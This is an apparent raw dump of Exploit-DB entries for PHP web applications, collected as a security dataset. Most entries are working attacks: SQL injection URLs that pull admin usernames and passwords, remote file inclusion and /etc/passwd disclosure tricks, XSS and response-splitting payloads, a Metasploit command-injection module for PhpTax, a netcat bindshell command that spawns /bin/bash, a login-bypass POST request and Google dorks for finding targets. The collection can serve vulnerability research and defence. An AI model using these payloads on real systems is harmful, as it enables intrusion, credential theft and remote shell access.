deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7134
Description: PHPstore Wholesale - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-16
Author: Hussin X

Exploit:
|___________________________________________________
|
| Wholesale ( track.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85@Yahoo.com
|
|___________________________________________________
|
| script :  http://www.phpstore.info/product_info.php?cPath=36_53&products_id=162
|
| DorK   : inurl:"track.php?id="
|___________________________________________________

Exploit:
________



www.[target].com/Script/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--



Demo
________

http://phpstore.info/demos/wholesale/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ |  IRAQ_JAGUR | Cyber-Zone | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | CraCkEr |  G4N0K
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-16]
Exploit-DB #32642
Description: PHPSTREET WebBoard 1.0 - 'show.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-04
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/32635/info

PHPSTREET Webboard is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user
Exploit-DB #4421
Description: phpsyncml 0.1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-18
Author: S.W.A.T.

Exploit:
========================================================================
||  ##    ##   ##           ##########   #######     ########         ||
||   ##  ##    ##########   ##########   ##   ##     ##               ||
||    ####     ##########   ##      ##   #######     ########         ||
||    ####     ##  ##  ##   ##      ##   #######           ##         ||
||   ##  ##    ##  ##  ##   ##########   ##    ##          ##         ||
||  ##    ##   ##  ##  ##   ##########   ##     ##   ########         ||
========================================================================
========================================================================
[*] phpsyncml <= 0.1.2   Remote File Include Vulnerability            ||
[!] Application homepage :                                            ||
kent.dl.sourceforge.net/sourceforge/phpsyncml/phpsyncml-0.1.2.tar.bz2 ||
[!] Author               :  S.W.A.T.                                  ||
[!] Site                 :  wWw.XmorS.CoM                             ||
[!] Y!ID                 :  Svvateam                                  ||
[!] E-Mail               :  S.W.4.T@hackermail.CoM                    ||
[!] Location             :  Iran - 071                                ||
[!] Risk                 :  Moderate ( High )                         ||
[!] Dork                 :   :(                                       ||
========================================================================
========================================================================
Vuln. code: wbxml/WBXML/Decoder.php & Encoder.php	              ||
                                                                      ||
========================================================================
[*] Exploitation :                                                    ||
                                                                      ||
[target]/[path]/wbxml/WBXML/Decoder.php?base_dir=[Shell]              ||
[target]/[path]/wbxml/WBXML/Encoder.php?base_dir=[Shell]              ||
========================================================================
[!] We Are : Scorpiunix - Kamy4r - S.W.A.T. - D3vil_B0Y_Ir -          ||
[!] The_Editor - Silliconic - Sh3llH3ll                               ||
                                                                      ||
[!] I Love Xmors & All Member Of Them                                 ||
							              ||
[!] DeltaHackingGroup = ( Lammers Group :D ) ,,!,,                    ||
							              ||
[!] Special Thanks To : Dj7xpl From Y! UnderGround Group              ||
								      ||
[!] Tnx 2 : Str0ke - Google - SourceForge                             ||
========================================================================
# Xmors.Com [2007-09-18]

# milw0rm.com [2007-09-18]
Exploit-DB #22457
Description: PHPSysInfo 2.0/2.1 - 'index.php' File Disclosure
Type: webapps
Platform: php
Date: 2003-04-03
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7275/info

PHPSysInfo has been reported to be vulnerable to a file disclosure issue.

Local users may be capable of influencing the include path for several PHPSysinfo template files. If the malicious template file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker.

This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks. 

~$ ln -s /etc/passwd /tmp/form.tpl
~$ ln -s /etc/passwd /tmp/box.tpl

http://www.example.com/index.php?template=../../../../tmp
Exploit-DB #22459
Description: PHPSysInfo 2.0/2.1 - 'index.php' LNG File Disclosure
Type: webapps
Platform: php
Date: 2003-04-04
Author: Albert Puigsech Galicia

Exploit:
source: https://www.securityfocus.com/bid/7286/info

PHPSysInfo has been reported to be vulnerable to a file disclosure issue.

Local users may be capable of influencing the include path for PHPSysinfo language include files. If the malicious language file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker. The file may also contain PHP code which may be executed in the context of the web server hosting the vulnerable application.

This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.

~$ ln -s /etc/passwd /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p


~$ echo "<?php phpinfo() ?>" > /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p
Exploit-DB #25265
Description: PHPSysInfo 2.0/2.3 - 'sensor_program' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-23
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12887/info

phpSysInfo is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[phpSysInfo]/index.php?sensor_program=[XSS]
Exploit-DB #25266
Description: PHPSysInfo 2.0/2.3 - 'system_footer.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-23
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12887/info
 
phpSysInfo is reportedly affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[phpSysInfo]/includes/system_footer.php?text[language]=">[XSS]
http://www.example.com/[phpSysInfo]/includes/system_footer.php?text[template]=">[XSS]
http://www.example.com/[phpSysInfo]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=[XSS]
Exploit-DB #26499
Description: PHPSysInfo 2.x - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-11-11
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/15396/info

phpSysInfo is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

phpSysInfo is prone to cross-site scripting, HTTP response splitting and arbitrary local file inclusion vulnerabilities.

An attacker can exploit these vulnerabilities to steal cookie-based authentication credentials, aid in phishing style attacks and retrieve privileged or sensitive information; other attacks are also possible.

http://www.example.com/index.php?VERSION=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00
http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00&lng=../../README%00
http://www.example.com//index.php?sensor_program=lmsensors.inc.php/../../README%00

http://www.example.com/index.php?charset=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Hacked!</html>
Exploit-DB #21833
Description: PhpTax - 'pfilez' Execution Remote Code Injection (Metasploit)
Type: webapps
Platform: php
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "PhpTax pfilez Parameter Exec Remote Code Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in PhpTax, an income tax report
				generator.  When generating a PDF, the icondrawpng() function in drawimage.php
				does not properly handle the pfilez parameter, which will be used in a exec()
				statement, and then results in arbitrary remote code execution under the context
				of the web server.  Please note: authentication is not required to exploit this
				vulnerability.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jean Pascal Pereira <pereira[at]secbiz.de>',
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['EDB', '21665']
				],
			'Payload'        =>
				{
					'Compat' =>
					{
						'ConnectionType' => 'find',
						'PayloadType'    => 'cmd',
						'RequiredCmd'    => 'generic perl ruby bash telnet python'
					}
				},
			'Platform'       => ['unix', 'linux'],
			'Targets'        =>
				[
					['PhpTax 0.8', {}]
				],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'DisclosureDate' => "Oct 8 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/'])
			], self.class)
	end


	def check
		target_uri.path << '/' if target_uri.path[-1,1] != '/'
		res = send_request_raw({'uri'=>target_uri.path})
		if res and res.body =~ /PHPTAX by William L\. Berggren/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unknown
		end
	end


	def exploit
		target_uri.path << '/' if target_uri.path[-1,1] != '/'

		print_status("#{rhost}#{rport} - Sending request...")
		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => "#{target_uri.path}drawimage.php",
			'vars_get' => {
				'pdf'    => 'make',
				'pfilez' => "xxx; #{payload.encoded}"
			}
		})

		handler
	end
end
Exploit-DB #21665
Description: phptax 0.8 - Remote Code Execution
Type: webapps
Platform: php
Date: 2012-10-02
Author: Jean Pascal Pereira

Exploit:
-----------------------------------------------------
phptax 0.8 <= Remote Code Execution Vulnerability
-----------------------------------------------------

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor information:

"PhpTax is free software to do your U.S. income taxes. Tested under Unix environment.
The program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot."

Vendor URI: http://sourceforge.net/projects/phptax/

----------------------------------------------------

Risk-level: High

The application is prone to a remote code execution vulnerability.

----------------------------------------------------

drawimage.php, line 63:

include ("./files/$_GET[pfilez]");

// makes a png image
$pfilef=str_replace(".tob",".png",$_GET[pfilez]);
$pfilep=str_replace(".tob",".pdf",$_GET[pfilez]);
Header("Content-type: image/png");
if ($_GET[pdf] == "") Imagepng($image);
if ($_GET[pdf] == "make") Imagepng($image,"./data/pdf/$pfilef");
if ($_GET[pdf] == "make") exec("convert ./data/pdf/$pfilef ./data/pdf/$pfilep");

----------------------------------------------------

Exploit / Proof of Concept:

Bindshell on port 23235 using netcat:

http://localhost/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

** Exploit-DB Verified:**
http://localhost/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

----------------------------------------------------

Solution:

Do some input validation.

----------------------------------------------------
Exploit-DB #26162
Description: PHPTB Topic Board 2.0 - 'admin_o.php?absolutepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-17
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/14592/info

PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/admin_o.php?absolutepath=http://www.example.com/
Exploit-DB #26163
Description: PHPTB Topic Board 2.0 - 'board_o.php?absolutepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-17
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/14592/info
 
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/board_o.php?absolutepath=http://www.example.com/
Exploit-DB #26164
Description: PHPTB Topic Board 2.0 - 'dev_o.php?absolutepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-17
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/14592/info
  
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/dev_o.php?absolutepath=http://www.example.com/
Exploit-DB #26165
Description: PHPTB Topic Board 2.0 - 'file_o.php?absolutepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-17
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/14592/info
   
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/file_o.php?absolutepath=http://www.example.com/
Exploit-DB #26144
Description: PHPTB Topic Board 2.0 - 'index.php?mid' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-10
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/14535/info

PHPTB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database. 

http://www.example.com/PHPTB/index.php?sid=cc3de2fc8c2b357b6a6d46ea8aa92a32&act=profile&mid=-99%20UNION%20SELECT%20null,password,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20tb_members%20WHERE%20user_id=1
http://www.example.com/PHPTB/index.php?sid=a284c075e8b0073935ba7290ca0dade8&act=newpm&mid=-99%20UNION%20SELECT%20password%20FROM%20tb_members%20WHERE%20user_id=1
Exploit-DB #26166
Description: PHPTB Topic Board 2.0 - 'tech_o.php?absolutepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-08-17
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/14592/info
    
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/tech_o.php?absolutepath=http://www.example.com/
Exploit-DB #6134
Description: PHPTest 0.6.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-25
Author: cOndemned

Exploit:
########################################################################################
#
#   Name   : phpTest 0.6.3 (picture.php image_id) Remote SQL Injection Vulnerability
#   Author : cOndemned [ Dark-Coders ]
#   Dork   : sorry, today no dork [;
#   Greetz : ZaBeaTy, str0ke, GregStar, Voo|doo, ixos, 0in, suN8Hclf, TBH, Avantura :*
#
########################################################################################

Source code of "picture.php" :

    24.    pt_register('GET', 'image_id');
    25.
    26.    if (isset($image_id)) {
    27.        $result = $db->query("SELECT filetype, data FROM images WHERE image_id = $image_id");
    28.
    29.        if ($db->num_rows($result)) {
    30.            $row = $db->fetch_object($result);
    31.            header("Content-type: $row->filetype");
    32.            echo $row->data;

Description :

    line 24 - $image_id is taken from user using $_GET method
    line 27 - There is absolutly no validation of $image_id + We can se amount of columns - 2
    line 31 - header type doesn't matter....
    line 32 - Result of MySQL Query is being printed here.
        
Exploit :

    http://[host]/[phpTest]/picture.php?image_id=-1+union+select+1,concat_ws(0x3a3a,username,password)+from+users/*

# milw0rm.com [2008-07-25]
Exploit-DB #17250
Description: phpThumb - 'phpThumbDebug' Information Disclosure
Type: webapps
Platform: php
Date: 2011-05-06
Author: mook

Exploit:
# Exploit Title: phpThumb 'phpThumbDebug' Information Disclosure
# Google Dork: inurl:phpThumb.php
# Date: 06/05/2011
# Author: mook
# Software Link: http://phpthumb.sourceforge.net/#download
# Version: 1.7.9
# Tested on: linux

Vulnerability:

Information disclosure which includes absolute system paths, os
flavour, application configuration information and other installed
application versions.

The vulnerability can be triggered by appending 'phpThumbDebug=" and
any number from 0 to 10 to any phpThumb.php request. e.g:



The response will be an image render of the debug information.

Remediation:

The responsible code can be found in phpThumb.php itself by changing
the default "$PHPTHUMB_CONFIG['disable_debug']            = false;" to
"$PHPTHUMB_CONFIG['disable_debug']            = true;".
Exploit-DB #45683
Description: phptpoint Hospital Management System 1.0 - 'user' SQL injection
Type: webapps
Platform: php
Date: 2018-10-25
Author: Boumediene KADDOUR

Exploit:
# Exploit Title:  phptpoint Hospital Management System 1.0 - 'user' SQL injection 
# Date: 2018-10-24
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.phptpoint.com/
# Software Link:  
# Version: 1
# Tested on: WAMP windows 10 x64
# CVE: unknown

# Description:
# Phptpoint hospital management system suffers from multiple SQL injection vulnerabilities that 
# allow an attacker to bypass the login page and authenticate with admin, and then easily 
# get database information or execute arbitrary commands.
 
# LOGIN.php SQL injection

 13  extract($_POST);
 14  if(isset($signIn))
 15  {
 16         //echo $user,$pass;
 17         //for Admin
 18         $que=mysql_query("select user,pass from admin where user='$user' and pass='$pass'");
 19          $row= mysql_num_rows($que);
 20          echo "raw ".$row;
 21          if($row)
 22          {
 23                 $_SESSION['admin']      =$user;
 24                 echo "<script>window.location='alist.php'</script>";

# Payload:

POST /hospital/index.php HTTP/1.1
Host: 172.16.122.4
Content-Length: 38
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/hospital/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85
Connection: close

user=admin%40gmail.com'+OR+1--+&pass=anything&signIn=

# ALIST.php SQLi

33 $todel=$_GET['rno'];
34 mysql_query("update appt SET ashow='N' where ano='$todel' ;");
35 }

# DUNDEL.php SQLi 

21 $rno=$_GET["rno"];
22 mysql_query("update doct set dshow='Y' where dno='$rno'");
23 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
24  echo "<tr><td align=center><a href=dlist.php>Continue...</a></td></tr>";

# PDEL.php SQLi

25 $todel=$_GET['rno'];
26 mysql_query("update Patient SET pshow='N' where pno='$todel' ;");

# PUNDEL.php SQLi

20 $rno=$_GET["rno"];
21
22 
23 mysql_query("update Patient set pshow='Y' where pno='$rno'");
24 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords Recovered</font></td></tr>";
25 echo "<tr><td align=center><a href=plist.php>Continue...</a></td></tr>";